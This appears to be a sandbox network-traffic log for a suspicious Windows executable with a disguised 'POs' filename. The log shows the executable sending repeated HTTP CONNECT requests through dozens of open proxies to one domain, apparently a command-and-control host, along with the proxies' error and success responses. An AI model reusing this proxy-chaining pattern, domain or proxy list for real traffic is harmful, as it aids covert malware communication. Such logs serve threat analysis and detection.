Mar 11, 2024 16:42:24.882210016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.485670090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.189063072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.376566887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.673271894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1274	192.168.2.11	54096	162.214.225.223	58240	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.882432938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.438558102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.018817902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.142126083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.329581022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.438822031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.510561943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.829478025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.110392094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1275	192.168.2.11	53988	180.148.4.74	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.884608984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.689088106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.876496077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.986083031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.041409016 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1276	192.168.2.11	53894	117.160.250.134	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.884704113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.400587082 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 16:42:26.950988054 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1277	192.168.2.11	54023	115.146.225.137	10046	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.884860039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1278	192.168.2.11	54020	39.105.27.30	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.884923935 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:25.221556902 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1279	192.168.2.11	54049	58.234.116.197	8193	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.885740042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1280	192.168.2.11	53586	115.144.17.53	12826	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.887886047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.319003105 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1281	192.168.2.11	54067	199.58.184.97	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.897099018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1282	192.168.2.11	54040	185.101.16.52	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.907164097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1283	192.168.2.11	53540	51.15.210.79	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.908452988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.582119942 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1284	192.168.2.11	54036	104.20.179.187	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.908520937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.063071966 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1285	192.168.2.11	54062	104.25.115.125	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.908705950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.063030958 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1286	192.168.2.11	53952	14.232.160.247	10801	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.909121990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1287	192.168.2.11	52424	129.213.150.205	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.954914093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1288	192.168.2.11	54033	80.249.112.162	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.956962109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.363112926 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1289	192.168.2.11	53625	203.19.38.114	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.960988045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.057929993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.556108952 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 15:42:28 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1290	192.168.2.11	54066	91.134.140.160	57320	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.968559980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.689088106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.689237118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.689147949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1291	192.168.2.11	54061	185.220.226.128	808	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.971283913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.735701084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1292	192.168.2.11	54083	59.6.26.121	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.974798918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1293	192.168.2.11	54112	104.16.107.206	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.983896017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
